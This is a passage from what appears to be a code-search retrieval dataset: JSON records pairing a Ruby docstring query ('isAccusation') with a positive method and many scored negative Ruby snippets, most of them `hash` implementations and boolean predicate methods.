"docid": "19191643ff1f1fc1d8a5105eabda3d7d",
"score": "0.6022704",
"text": "def hash\n return @hash_code if defined? @hash_code\n @hash_code = usual_equal_object.hash\n end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "bf7342566e8f178376b07a61d5289c46",
"score": "0.60178953",
"text": "def hash\n [oct, pc].hash\n end",
"title": ""
},
{
"docid": "f851a63f65002bfa304386cddb1780c9",
"score": "0.6014942",
"text": "def hash\n excl = @excl ? 1 : 0\n hash = excl\n hash ^= @begin.hash << 1\n hash ^= @end.hash << 9\n hash ^= excl << 24;\n # Are we throwing away too much here for a good hash value distribution?\n return hash & Fixnum::MAX\n end",
"title": ""
},
{
"docid": "9b164bda867a96d4c7eb797196217c27",
"score": "0.5997442",
"text": "def hash\n code.hash\n end",
"title": ""
},
{
"docid": "f4e6f621e3b9e0129df1ddda0aa13e6c",
"score": "0.59880185",
"text": "def hash # :nodoc:\n name.hash ^ type.hash ^ requirement.hash\n end",
"title": ""
},
{
"docid": "007a7471553652c67a33a8d828b85fdb",
"score": "0.598736",
"text": "def hash\n @vbits.hash\n end",
"title": ""
},
{
"docid": "6bcc3bd48de4b6932288519b0f9f8020",
"score": "0.59799886",
"text": "def hash\n Digest::SHA256.hexdigest( \"#{nonce}#{time}#{difficulty}#{prev}#{data}\" )\n end",
"title": ""
},
{
"docid": "ac7c84ddb1d00b51147db608475a18e6",
"score": "0.5972682",
"text": "def hash\n if @sha512hash != nil\n return @sha512hash.to_i(16)\n else\n super\n end\n end",
"title": ""
},
{
"docid": "62bf60657bb190d514f13932881fe99f",
"score": "0.5969595",
"text": "def calc_hash(pass)\n salt_cost = SCrypt::Engine.autodetect_cost(self[:salt])\n SCrypt::Engine.scrypt(pass, self[:salt], salt_cost, 32).unpack('H*').first\n end",
"title": ""
},
{
"docid": "648ce51406b20d5fadff0812e301d09f",
"score": "0.5969411",
"text": "def hash\n [lac, cid, radio, mcc, mnc, signal, psc, asu, ta].hash\n end",
"title": ""
},
{
"docid": "7699e66b97a6d7b9ff1137970e8267e1",
"score": "0.59594935",
"text": "def calculate_checksum\n last_checksum = previous_event&.checksum\n attrs = attributes.except(\"checksum\", \"id\", \"updated_at\").merge(last_checksum: last_checksum)\n cs = Digest::SHA256.hexdigest(attrs.to_s)\n puts \"#{id} calculate_checksum: #{cs} <- #{attrs} \" if Rails.env.development?\n Rails.logger.info(\"#{id} calculate_checksum: #{cs} <- #{attrs} \")\n return cs\n end",
"title": ""
},
{
"docid": "76d4ecd3d4f75d7b7c3aa802e2144ae4",
"score": "0.5957466",
"text": "def hash\n code.hash\n end",
"title": ""
},
{
"docid": "795c60ab29bf5aa10743280268187bf2",
"score": "0.59423596",
"text": "def hash\n\t\t[@a, @b, self.class::D].hash\n\tend",
"title": ""
},
{
"docid": "62a7605e2e5199eb7be8bdecdf8f2972",
"score": "0.5942144",
"text": "def consistent_hash\n Zlib.crc32(self.to_yaml, 0)\n end",
"title": ""
},
{
"docid": "6036fa01ff28481d6ed36679c93d56ad",
"score": "0.59245354",
"text": "def hash\n @hash[:perm_type].hash ^\n @hash[:perms].hash ^\n @hash[:inheritance].hash ^\n @hash[:target].hash\n end",
"title": ""
},
{
"docid": "a93eb935475686bb76621db860e516b2",
"score": "0.5924357",
"text": "def hash( *strs )\n return Digest::MD5.hexdigest( strs.join )\n end",
"title": ""
},
{
"docid": "2e377708cde4199ef0a438c6887ceb83",
"score": "0.5904946",
"text": "def hash\n @rank.hash ^ @suit.hash\n end",
"title": ""
},
{
"docid": "6bb909c379912de94cb7dc4ab2f13477",
"score": "0.59025365",
"text": "def hash\n return Digest::MD5.hexdigest(self.describe(' '))\n end",
"title": ""
},
{
"docid": "735665e6536052d1db3d89cd608841a8",
"score": "0.58536685",
"text": "def hash\n @real.hash ^ @image.hash\n end",
"title": ""
},
{
"docid": "ed81e99b1fb9dd0bdfbee8bf918e513d",
"score": "0.5847055",
"text": "def to_hash() end",
"title": ""
},
{
"docid": "bde1d1329f9ca91bbb2bf7e6f0474ee2",
"score": "0.58454466",
"text": "def hash_length\n super\n end",
"title": ""
},
{
"docid": "c9be9240c7d6c7386ca77f1dac529364",
"score": "0.5845053",
"text": "def hash_hash(h)\n require 'digest/md5'\n Digest::MD5.hexdigest(Marshal::dump(h.sort))\n end",
"title": ""
},
{
"docid": "cc7b4b6b27088c24a84ad3099ebac02b",
"score": "0.58447546",
"text": "def hash() source.hash ^ target.hash; end",
"title": ""
},
{
"docid": "9f148e7a23dc51639e9fa35cbf6e914e",
"score": "0.5844059",
"text": "def hash\n [first_name, last_name, address_one, address_two, city, state, zip, phone, email, country_code].hash\n end",
"title": ""
},
{
"docid": "3978c141265a0fc7cd6516ff0fd63f2e",
"score": "0.5842638",
"text": "def calculate_hash(input, prep_hashes)\n result = 0\n input.unpack('U*').each do |x|\n result += prep_hashes.hash(x)\n end\n (result % MOD_VALUE).to_s(HEX)\nend",
"title": ""
},
{
"docid": "a82c0c850c9abe5deca5e6292a6f7ddf",
"score": "0.5840575",
"text": "def c_hash\n sha256 = Digest::SHA256.new\n token = @code.token.token\n hashed_token = sha256.digest(token)\n first_half = hashed_token[0...hashed_token.length / 2]\n Base64.urlsafe_encode64(first_half).tr('=', '')\n end",
"title": ""
},
{
"docid": "cb1b94664c6934eff120bfc7a3b1c4cf",
"score": "0.58391696",
"text": "def hash(block)\n Digest::SHA256.hexdigest(block.to_s.encode)\n end",
"title": ""
},
{
"docid": "931a847086b100932edfc6f22cc3d8b7",
"score": "0.5825819",
"text": "def calculate_hash\n\t\toptions = {:firstname => firstname, :email => email, :phone => phone, :txnid => txnid, :surl => surl, :furl => furl, :productinfo => productinfo, :amount => amount}\n\t\tservice = PayuIndia::Helper.new(payment_gateway_key, payment_gateway_salt, options)\n\t\tself.hast = service.generate_checksum\n\tend",
"title": ""
},
{
"docid": "0fa9cf5aee43019e73bfa73f773d0a58",
"score": "0.5824118",
"text": "def hash\n [rank, suit].hash\n end",
"title": ""
},
{
"docid": "aae045933f0751f41e1f0cf437489943",
"score": "0.5823615",
"text": "def hash\n self.class.hash ^ left.hash ^ right.hash\n end",
"title": ""
},
{
"docid": "1c4c15009a8f8315b04b540af94a71d3",
"score": "0.58184344",
"text": "def generate_hash(*args)\n Digest::SHA3.hexdigest(args.join(''))\n end",
"title": ""
},
{
"docid": "56772bd74276fb73a5283f71f4941943",
"score": "0.5815284",
"text": "def hash_code\n hash_code = {}\n self.seq.each do |letter|\n hash_code.keys.include?(letter) ? hash_code[letter] += 1 : hash_code[letter] = 1\n end\n hash_code\n end",
"title": ""
},
{
"docid": "1466b3ff0bea349732efe61d4fd035ff",
"score": "0.58124787",
"text": "def hashify_attributes(attrs)\n Hash.new.tap{ |h| attrs.each{|a| h[a] = self.send(a)} }\n end",
"title": ""
},
{
"docid": "f2af5a04b5cfd922b831232c23bb425c",
"score": "0.5810309",
"text": "def hash\n\n self.h.fei.hash\n end",
"title": ""
},
{
"docid": "78e0fa25227cb54fedee25c3c91a686e",
"score": "0.5808056",
"text": "def hash\n shasum.hash\n end",
"title": ""
},
{
"docid": "78e0fa25227cb54fedee25c3c91a686e",
"score": "0.5808056",
"text": "def hash\n shasum.hash\n end",
"title": ""
},
{
"docid": "78e0fa25227cb54fedee25c3c91a686e",
"score": "0.5808056",
"text": "def hash\n shasum.hash\n end",
"title": ""
},
{
"docid": "38fc3a209af5e8677cd4dfccdae04dec",
"score": "0.5806852",
"text": "def hash\n attributes.hash\n end",
"title": ""
},
{
"docid": "38fc3a209af5e8677cd4dfccdae04dec",
"score": "0.5806852",
"text": "def hash\n attributes.hash\n end",
"title": ""
}
] |
9fe72d097d5a146ea539ebb9186d4428
|
isAccusation PURPOSE: simply returns if the guess is an accusation or not PARAMETERS: none Returns: a boolean indicating whether or not accusation
|
[
{
"docid": "8686fc7ba6f3d428393226df0a23b63a",
"score": "0.7656502",
"text": "def isAccusation()\n @accusation\n end",
"title": ""
}
] |
[
{
"docid": "7138de029f0454abe82be19e9a64e395",
"score": "0.6367566",
"text": "def has_ace?\n @cards.each { |c| return true if c[0] == 65 }\n return false\n end",
"title": ""
},
{
"docid": "f75b1b9727e1b6cba28e22515f8a0901",
"score": "0.6024173",
"text": "def check_for_accident\r\n\t\t\treturn unless @last_vars[\"accident\"] \r\n\t\t\taccident = [] # <--The list of accidents that actually occur\r\n\t\t\t@last_vars[\"accident\"].each do |acc|\r\n\t\t\t\tnext if acc.source && acc.source != @players[0].last_direction\r\n\t\t\t\taccident << acc if Die.roll( acc.die.nil? ? 20 : acc.die ) < acc.roll.to_i\r\n\t\t\tend\r\n\t\t\tif accident.size > 0\r\n\t\t\t\t# The accident(s) has/have occurred! \r\n\t\t\t\taccident.each do |acc|\r\n\t\t\t\t\tGame.inform( \"Warning: an accident has occurred: \" + acc.type )\r\n\t\t\t\t\tGame.inform( acc.text ) unless acc.text.empty?\r\n\t\t\t\t\t@players[0].adjust( self, acc.effect )\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\tend",
"title": ""
},
{
"docid": "924874aee2009b021b61a4eb2b30564b",
"score": "0.599661",
"text": "def accountant? (house)\n user_house_links.each do |user_house_link|\n return true if !user_house_link.house.nil? && user_house_link.house.id == house.id &&\n user_house_link.accountant?\n end\n return false\n end",
"title": ""
},
{
"docid": "575501768c42857d9a1b3812c8333524",
"score": "0.59846497",
"text": "def user_authorized?(auth_org_code, affiliation)\n expected_affliation = \"member@#{auth_org_code}.edu\"\n affiliation.split(';').any? { |a| a.downcase == expected_affliation }\n end",
"title": ""
},
{
"docid": "4921bea111f3d1268120d80bb4a7cb87",
"score": "0.5796837",
"text": "def has_aces?\n return (@cards.map {|card| card.symbol}).include?(\"A\")\n end",
"title": ""
},
{
"docid": "0da6e21db1cc45b318972c80b79109bb",
"score": "0.57642466",
"text": "def has_affiliation?(affiliation)\n affiliations.include?(affiliation.upcase)\n end",
"title": ""
},
{
"docid": "39ca4b85ec46324172a9fbfbc598ed2f",
"score": "0.5753744",
"text": "def acute?\n self.degrees < 90\n end",
"title": ""
},
{
"docid": "63daee8a2b94055c7e0819a69c45143a",
"score": "0.57382786",
"text": "def has_account?(acct)\n\t\t\t!get_account(acct).addresses.empty?\n\t\tend",
"title": ""
},
{
"docid": "f3e6791f8e8d8d767c6d6827c87e468b",
"score": "0.5724088",
"text": "def aleph_record?\n if @record.eds_accession_number.present? &&\n @record.eds_accession_number.start_with?('mit.')\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "d6fc0a5a1b1edda063d59e2d1312f21f",
"score": "0.570758",
"text": "def is_affairs?\n\t\tassignments.each do |assignment|\n\t\t\tif assignment.role.name.downcase.eql?(\"student affairs\")\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend",
"title": ""
},
{
"docid": "13aeb43d35e061be2fd212770556c359",
"score": "0.57047635",
"text": "def faculty?\n affiliations 'capFaculty'\n end",
"title": ""
},
{
"docid": "13aeb43d35e061be2fd212770556c359",
"score": "0.57047635",
"text": "def faculty?\n affiliations 'capFaculty'\n end",
"title": ""
},
{
"docid": "cb226c48312d41ce69b5453ff11ac397",
"score": "0.5652821",
"text": "def is_anagram?(text)\n\t\t @initial_letters == letters_of(text)\n\t end",
"title": ""
},
{
"docid": "2374a655fe70bd72f7bb7c2dd5a5dfd5",
"score": "0.5643113",
"text": "def correspondence?\n correspondence_indicator && !ojt? && !offer_degree?\n end",
"title": ""
},
{
"docid": "f0de8ec3b9456ca67a6c65ba28cfef97",
"score": "0.5622089",
"text": "def anagram?(candidate)\n same_letters?(candidate) && different_word?(candidate)\n end",
"title": ""
},
{
"docid": "b61f8f6e11383b032f6b7c55a971b062",
"score": "0.56181467",
"text": "def ai?(user)\n user.bot_account?\n end",
"title": ""
},
{
"docid": "b61f8f6e11383b032f6b7c55a971b062",
"score": "0.56181467",
"text": "def ai?(user)\n user.bot_account?\n end",
"title": ""
},
{
"docid": "93ba563406ad45f7d1f65b286c245d3d",
"score": "0.55999213",
"text": "def is_anagram?(text)\n @initial_letters == letters_of(text)\n end",
"title": ""
},
{
"docid": "d0710dfda90bc939a3536e31560d940e",
"score": "0.5582188",
"text": "def acid?\n return self.ph >= ACID_START && self.ph <= ACID_END\n end",
"title": ""
},
{
"docid": "65f39ac80ee6f2b72332e6e03c12d1ff",
"score": "0.55637825",
"text": "def upcard_ace?\n\t\[email protected]? and @hand.first.type == :ACE\n\tend",
"title": ""
},
{
"docid": "2d51f61227f5316a72aabb81497cd6de",
"score": "0.553875",
"text": "def has_accesories?\n !accessories.empty?\n end",
"title": ""
},
{
"docid": "75836f8654800e10f4527623e54d35ed",
"score": "0.5528652",
"text": "def has_activated_account?\n (self.encrypted_password != \"\" || self.authorizations.count > 0)\n end",
"title": ""
},
{
"docid": "4813af202ded9202b19aed5216af8c5f",
"score": "0.55195063",
"text": "def is_confessor?\n self.account_role_ids.include? 3\n end",
"title": ""
},
{
"docid": "299989bc564b5e79c218cc006109b974",
"score": "0.55176556",
"text": "def earned_college_degree?\n !college_degrees.empty?\n end",
"title": ""
},
{
"docid": "5bb9fac9a1762608ddaa6a31677fc23a",
"score": "0.55064344",
"text": "def is_ai?\n name == \"AI\" && role == \"ai\"\n end",
"title": ""
},
{
"docid": "30fb225482699d8be1aa9a52db3d55e1",
"score": "0.55028725",
"text": "def beginner?(a_character)\n @beginners.include?(a_character)\n end",
"title": ""
},
{
"docid": "ec57af447717ed55051e3c064ee66207",
"score": "0.5495688",
"text": "def valid_facing?(face)\n ORIENTATIONS.include?(face)\n end",
"title": ""
},
{
"docid": "dcf1a17129f03108e33f400c68c97b8c",
"score": "0.5482789",
"text": "def is_faculty?\n\t\tassignments.each do |assignment|\n\t\t\tif assignment.role.name.downcase.eql?(\"faculty advisor\")\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend",
"title": ""
},
{
"docid": "d0009e991a5c5705df47b5df60f2edff",
"score": "0.5481213",
"text": "def instructor?\n cuds = course_user_data\n\n cuds.each { |cud| return true if cud.instructor? }\n\n false\n end",
"title": ""
},
{
"docid": "ccce94cc7536091574b1bc96db8517a9",
"score": "0.54779",
"text": "def se_acabo?\n \tif gano?(1)\n \t\treturn true\n \telsif gano?(2)\n \t\treturn true\n \telsif lleno?\n \t\treturn true\n \telse\n \t\treturn false \t\t\t\n \tend\n end",
"title": ""
},
{
"docid": "3cc5c120b9d6c9316295661d9635bfbf",
"score": "0.5461989",
"text": "def aby?\n \t scheme == \"aby\"\n \tend",
"title": ""
},
{
"docid": "1de3f10794e33be5cd08d63fa1da2421",
"score": "0.5459496",
"text": "def instructor?\n cuds = self.course_user_data\n \n cuds.each do |cud|\n if cud.instructor?\n return true\n end\n end\n \n return false\n end",
"title": ""
},
{
"docid": "850bc00aa9436210a95f020662828d7c",
"score": "0.54578626",
"text": "def affiliated?\n !affiliations.empty?\n end",
"title": ""
},
{
"docid": "851dca1e6720312eaa88f1790565f91c",
"score": "0.5440108",
"text": "def guessed_all_correct?\n if @displaying_word == @word\n puts \"CONGRATS\"\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "ce82e8fb4d8215f75d3887129c89a3d8",
"score": "0.5426219",
"text": "def affiliate_visiting?\n has_affiliation? 'AFFILIATE-TYPE-VISITING'\n end",
"title": ""
},
{
"docid": "7763ed414fc628d6549634f9370c51d9",
"score": "0.5415361",
"text": "def ace?\n\t\t@type == :ACE\n\tend",
"title": ""
},
{
"docid": "0b9b0460d6c23fef521849c13924bd18",
"score": "0.5402492",
"text": "def is_ace\n if @symbol == \"A\"\n return 1\n end\n return nil\n end",
"title": ""
},
{
"docid": "f6dd2b7db84569f15662e9ce0b2417af",
"score": "0.5391961",
"text": "def ha_accedido?\n\t\t!usuario_actual.nil?\n\tend",
"title": ""
},
{
"docid": "c9242ddb4d034a71d5f5f9a362af5382",
"score": "0.5385245",
"text": "def remaining_cons?\n @remainingletters.each do |el|\n if @consonants.include?(el)\n #print \"#{el}\"\n if @letterinput != nil\n return true\n end\n return true\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "fab21ff7a6f58da76e51d7eec6f52fa1",
"score": "0.53627366",
"text": "def ace_include? (hand)\n\t\tace_count = 0\n\t\thand.each {|card_num, details| ace_count +=1 if details[\"number\"].include?(\"Ace\") == true}\n\n\t\treturn true if ace_count > 0\n\t\treturn false if ace_count == 0\n\n\tend",
"title": ""
},
{
"docid": "e11e05ebcddda4208419d9aff9685352",
"score": "0.5345325",
"text": "def user_authorized?(entitlement)\n expected_entitlement = 'https://borrow.btaa.org/reciprocalborrower'\n entitlement.split(';').any? { |e| e.downcase == expected_entitlement }\n end",
"title": ""
},
{
"docid": "2233726be6d390a4e7505f0ab8133ebe",
"score": "0.53393674",
"text": "def correspondence?\n institution_type.name.casecmp('correspondence').zero?\n end",
"title": ""
},
{
"docid": "3f375792a2f47cfd24ec7090331502f2",
"score": "0.53386307",
"text": "def returning_instructor?\n courses.any? { |course| instructor?(course) && course.approved? }\n end",
"title": ""
},
{
"docid": "f0c3fba199a9d3fcd33ba7633824bddb",
"score": "0.5325788",
"text": "def is_ace(hand)\n ace = false\n hand.each do |index|\n rank = index[0]\n if rank == 'A'\n ace = true\n end\n end\n ace\nend",
"title": ""
},
{
"docid": "1956e22a7ec65511fa734581ad85f634",
"score": "0.5320007",
"text": "def affiliate?\n role == 'affiliate'\n end",
"title": ""
},
{
"docid": "4ef3dc1ecca2a4b25bdbfa4dbdbe97c0",
"score": "0.5318894",
"text": "def is_ace?\n self.kind == \"Ace\"\n end",
"title": ""
},
{
"docid": "070f4784e540b752d0f403f12228664f",
"score": "0.53059703",
"text": "def post_graduation?\n return false unless degree_awarded\n true\n end",
"title": ""
},
{
"docid": "070f4784e540b752d0f403f12228664f",
"score": "0.53059703",
"text": "def post_graduation?\n return false unless degree_awarded\n true\n end",
"title": ""
},
{
"docid": "346aeab9b7da78aff49c50db5c433872",
"score": "0.5298858",
"text": "def instructor_of?(user)\n cuds = course_user_data\n\n cuds.each do |cud|\n next unless cud.instructor?\n return true unless cud.course.course_user_data.where(user: user).empty?\n end\n\n false\n end",
"title": ""
},
{
"docid": "763641ea177fe4d8909193d23dc3b125",
"score": "0.5297539",
"text": "def ha_accedido? \t\t### logged_in? ###\n\t\t!usuario_actual.nil?\n\tend",
"title": ""
},
{
"docid": "d5c678d24453dcbea5621d0ed0f7fb74",
"score": "0.5288414",
"text": "def satisfied_by?(course_user)\n course_user.achievements.exists?(achievement)\n end",
"title": ""
},
{
"docid": "862c11b3ddf0c814db1539a9f8618fc0",
"score": "0.52860045",
"text": "def ada_accessible?\n if ada_accessible_ramp == true or ada_accessible_lift == true\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "6c6a51a0ae3d79f89b1e8d8c53dc9bc3",
"score": "0.5278834",
"text": "def ecpaat_complete?\n temp_hash = ecpaat\n ECPAAT_HEADINGS.each do |heading|\n unless temp_hash.has_key?(heading)\n return false\n end\n end\n return true\n end",
"title": ""
},
{
"docid": "015c5f104beb5ec45f895de92683bd83",
"score": "0.5275206",
"text": "def correction?\n Array(self[:OBX]).any?(&:correction?)\n end",
"title": ""
},
{
"docid": "ea7805e408f47617a147b6eea0dd9c35",
"score": "0.5255083",
"text": "def correction?\n !!correction_type\n end",
"title": ""
},
{
"docid": "bf257a5386b4a29e3413aa8045c80c25",
"score": "0.52502215",
"text": "def inscription?\n @for_signup = (abs_module_id == 0 && abs_etape_id == 0) if @for_signup === nil\n @for_signup\n end",
"title": ""
},
{
"docid": "1d014f2e0f7349f1e240cd7b52b0e6e6",
"score": "0.524932",
"text": "def credit_for?(account)\n\t\tif self.op.to_sym == :clear or self.op.to_sym == :deposit then \n\t\t\treturn true \n\t\telsif self.op.to_sym == :withdraw or self.op.to_sym == :reserve then\n\t\t\treturn false \n\t\telsif self.op.to_sym == :transfer then \n\t\t\treturn (self.beneficiary_id == account.id)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "0a95cf2c846e1f4e0202d8154c0c4519",
"score": "0.52462715",
"text": "def guessed?()\n if @letters - @guesses == []\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "a9ec1720d8b326534e0528d9a6f1c8d6",
"score": "0.52454215",
"text": "def ace?\n return @symbol == \"A\"\n end",
"title": ""
},
{
"docid": "d603e75475dc06bdd66f07c92578644f",
"score": "0.52399343",
"text": "def concentrating?(another_spell, incapacitated)\n return false if another_spell | incapacitated\n true\n end",
"title": ""
},
{
"docid": "fbc233fe342c1168f6ba7e1b3c9811ff",
"score": "0.5235279",
"text": "def solid_understanding?(card)\n card.correct_guess_count > card.incorrect_guess_count\n end",
"title": ""
},
{
"docid": "d456754bb75cf1900c3f2c7643815a25",
"score": "0.5226015",
"text": "def is_AC?\n battery = self.battery_info\n return false if battery.nil?\n return false if battery[\"Power Source State\"] != \"AC Power\"\n return true\n end",
"title": ""
},
{
"docid": "b2b61e4de68782e8d18678dddda40751",
"score": "0.5212732",
"text": "def oxytone?\n return true if separated.size == 1\n return true if separated[-1] =~ /[#{ACCENTED}]/\n return false if separated[-2] =~ /[#{ACCENTED}]/\n return false if separated[-3] =~ /[#{ACCENTED}]/\n separated[-1] =~ /(is?|im|ins?|us?|um|uns?|l|n|r|x|ps|ãs?|ãos?|ons?|ais?|eis?|ois?|aus?|eus?|ous?|ias?|ies?|ios?|uas?|ues?|uos?)$/\n end",
"title": ""
},
{
"docid": "c0fa2b8597341211525edbb91e4d6703",
"score": "0.52062434",
"text": "def isOver\n @user_guess.each do |i|\n if i == nil\n return false\n end\n end\n return true\n end",
"title": ""
},
{
"docid": "f8dba5f04e7a241e07d1866dc10bc6ab",
"score": "0.5202767",
"text": "def incidental?\n effort_type == \"INCIDENTAL\"\n end",
"title": ""
},
{
"docid": "dbd9d47e6a4ff303cbc5d1ea6cb6db8b",
"score": "0.52002215",
"text": "def applicant_entering_means?\n false\n end",
"title": ""
},
{
"docid": "da31461c8a6e680eb609626b96f3a18d",
"score": "0.5193151",
"text": "def guessed_all_correct?\n if letter_counter == word.length\n return true\n end\n false\n end",
"title": ""
},
{
"docid": "0eeda9235f06058bac5cb4c52935d45c",
"score": "0.5182381",
"text": "def instructor_of?(user)\n cuds = self.course_user_data\n \n cuds.each do |cud|\n if cud.instructor?\n if !cud.course.course_user_data.where(user: user).empty?\n return true\n end\n end\n end\n \n return false\n end",
"title": ""
},
{
"docid": "34eed2a89b1d356b4190c9d4f4c38efe",
"score": "0.5182013",
"text": "def validate(guess, guesses)\n if guess.length == 1\n if ALPHABET.include?(guess)\n if !guesses.include?(guess)\n true\n else\n puts \"You already guessed that.\"\n false\n end\n else\n puts \"Invalid entry. Guess has to be a letter\"\n false\n end\n else\n puts \"Invalid! Guess can only by one character.\"\n false\n end\nend",
"title": ""
},
{
"docid": "5454c81861cc2b4360dd88c5cd973d56",
"score": "0.518102",
"text": "def movable_accent?\n # accent on the 2nd last (instead of 3rd last) syllable?\n self[-3].include? 'r1'\n end",
"title": ""
},
{
"docid": "f3eb1499ce8b0347c071e5d709eb3adf",
"score": "0.51735586",
"text": "def already_attempted?(char)\n\n if @attempted_chars.include?(char) == true\n return true \n else\n return false\n end\n\n end",
"title": ""
},
{
"docid": "413c64174eb17b8be104dd4ba4f86675",
"score": "0.51728904",
"text": "def aleph_cr_record?\n if @record.eds_accession_number.present? &&\n @record.eds_accession_number.start_with?('mitcr.')\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "9cccae83b370ec67617c81b5673c416c",
"score": "0.51716006",
"text": "def is_cons(letter)\n\tcons = false\n\t$consonants.each {|x|\n\t\tif x == letter\n\t\t\tcons = true\n\t\tend\n\t}\n\tcons\nend",
"title": ""
},
{
"docid": "3eb4b05a2a907f5b9dc99471f51d6fba",
"score": "0.5171305",
"text": "def hay_un_ganador?\n\t hay_ganador_en_filas? || hay_ganador_en_columnas? || hay_ganador_en_diagonal1? || hay_ganador_en_diagonal2? \n\tend",
"title": ""
},
{
"docid": "ef51146e6d1dff1315d9ab3586e2d0af",
"score": "0.517099",
"text": "def is_characteristic_question?\n text =~ /^is (a|an)/\n end",
"title": ""
},
{
"docid": "52b904611a2886222c04b9af2028106c",
"score": "0.5170226",
"text": "def can_afford?(hand)\n return valid_bet?(bet_for(hand))\n end",
"title": ""
},
{
"docid": "8d40f5ba346d8169bf343c1dd334a814",
"score": "0.5169532",
"text": "def check_for_ace(card)\n # issue 4: this is an assignment operator, not a comparison operator\n if card.value == 1\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "fe3fe4147842c5bf45bd8d243ffbdfa5",
"score": "0.5165517",
"text": "def already_guessed?(letter)\n @guessed.member? letter \n end",
"title": ""
},
{
"docid": "7e25f50b1f328803a84acfafffa6f849",
"score": "0.5165272",
"text": "def has_degree?\n return true\n end",
"title": ""
},
{
"docid": "210f3a9bfc2a319e3c22f5edf786676b",
"score": "0.5162933",
"text": "def letter?(lookAhead)\n lookAhead =~ /^[a-z]|[A-Z]$/\n end",
"title": ""
},
{
"docid": "aeb2826430e2066d0243a303818180b5",
"score": "0.5161653",
"text": "def letter?(lookAhead)\n\tlookAhead =~ /^[a-z]|[A-Z]$/\nend",
"title": ""
},
{
"docid": "aeb2826430e2066d0243a303818180b5",
"score": "0.5161653",
"text": "def letter?(lookAhead)\n\tlookAhead =~ /^[a-z]|[A-Z]$/\nend",
"title": ""
},
{
"docid": "c96d3f187d5c596223c5239cd3436b48",
"score": "0.5161227",
"text": "def already_attempted? (char)\n @attempted_chars.include?(char)\n end",
"title": ""
},
{
"docid": "89c920ff2340173c7405b1f2673d2831",
"score": "0.51508075",
"text": "def en_cours?\n bit_encours == 1\n end",
"title": ""
},
{
"docid": "97670c0b4f1898bbf796dd5031ede67d",
"score": "0.51497346",
"text": "def correct?\n if @guess.downcase == @card.answer.downcase\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "ee7a1697cb22f857195a1460e3c7e023",
"score": "0.5148508",
"text": "def yelling?\n input.upcase == input && input =~ /[A-Z]/\n end",
"title": ""
},
{
"docid": "1fa24d47499c75e79ecf375affef0e76",
"score": "0.5147399",
"text": "def unesoteric_inerring?()\n photoactivate_disconcertment()\n gazee()\n end",
"title": ""
},
{
"docid": "064f1352c183c15e1f2b1cba7085b279",
"score": "0.5146962",
"text": "def is_coach?(faction_id)\n member = members.where(:faction_id => faction_id).first\n return member.occupation?(:coach) if member\n false\n end",
"title": ""
},
{
"docid": "a33143d1a35ddbe3f95031ddd241df01",
"score": "0.51462907",
"text": "def is_consonant?(char)\n ('a'..'z').include?(char.downcase) && !%w(a e i o u).include?(char)\nend",
"title": ""
},
{
"docid": "6bd3a700a45fe896e794a28fbe75708f",
"score": "0.514362",
"text": "def has_achievement?(achievement)\n UserAchievement.for_user_and_achievement(self,achievement).count > 0\n end",
"title": ""
},
{
"docid": "2fedf8172fe683bc8172cfc1399c9eda",
"score": "0.51389164",
"text": "def faculty?\n \tmember_of.downcase.include? \"faculty\"\n end",
"title": ""
},
{
"docid": "ed713d9a95be1512597e3085b88c5d1a",
"score": "0.5130512",
"text": "def account?\n resource_type == \"account\"\n end",
"title": ""
},
{
"docid": "10909201afe814549329b35c70fac533",
"score": "0.5125031",
"text": "def offer_degree?\n institution_of_higher_learning_indicator || non_college_degree_indicator\n end",
"title": ""
},
{
"docid": "a659fb5324b3668aa0baadd4c6b50067",
"score": "0.5118941",
"text": "def is_anagram_of?(anagram)\n self_frequency = self.downcase.delete(' ').character_frequency\n anagram_frequency = anagram.downcase.delete(' ').character_frequency\n self_frequency.eql? anagram_frequency\n end",
"title": ""
},
{
"docid": "bbcd6ae7f515e9035dbdcabbbcff07d0",
"score": "0.51149374",
"text": "def aisle?\n #C and D are aisle seats\n position == \"C\" || position == \"D\"\n end",
"title": ""
},
{
"docid": "b036c58849fced1ce6d2c0b87c7507cf",
"score": "0.51116556",
"text": "def ta?\n has_role?('TeachingAssistant')\n end",
"title": ""
},
{
"docid": "6a56eb2e81b632c91b381a6c89ad4536",
"score": "0.51102215",
"text": "def valid_account?\n Authentication::Account.exists?(email: username)\n end",
"title": ""
},
{
"docid": "ad8f4d9a86f2a3177727f2a59ae1b476",
"score": "0.5099006",
"text": "def valid_guess (guess, guesses)\n\tguess.downcase\n\tguess.include?(a .. z) && !guesses(guess)\nend",
"title": ""
},
{
"docid": "22d6fa2233037a9fb1eea149c45935fa",
"score": "0.5095794",
"text": "def guessed_all_correct?\n if @displaying_word == @word\n puts \"Nailed it\"\n return true\n else\n return false\n end\n end",
"title": ""
},
{
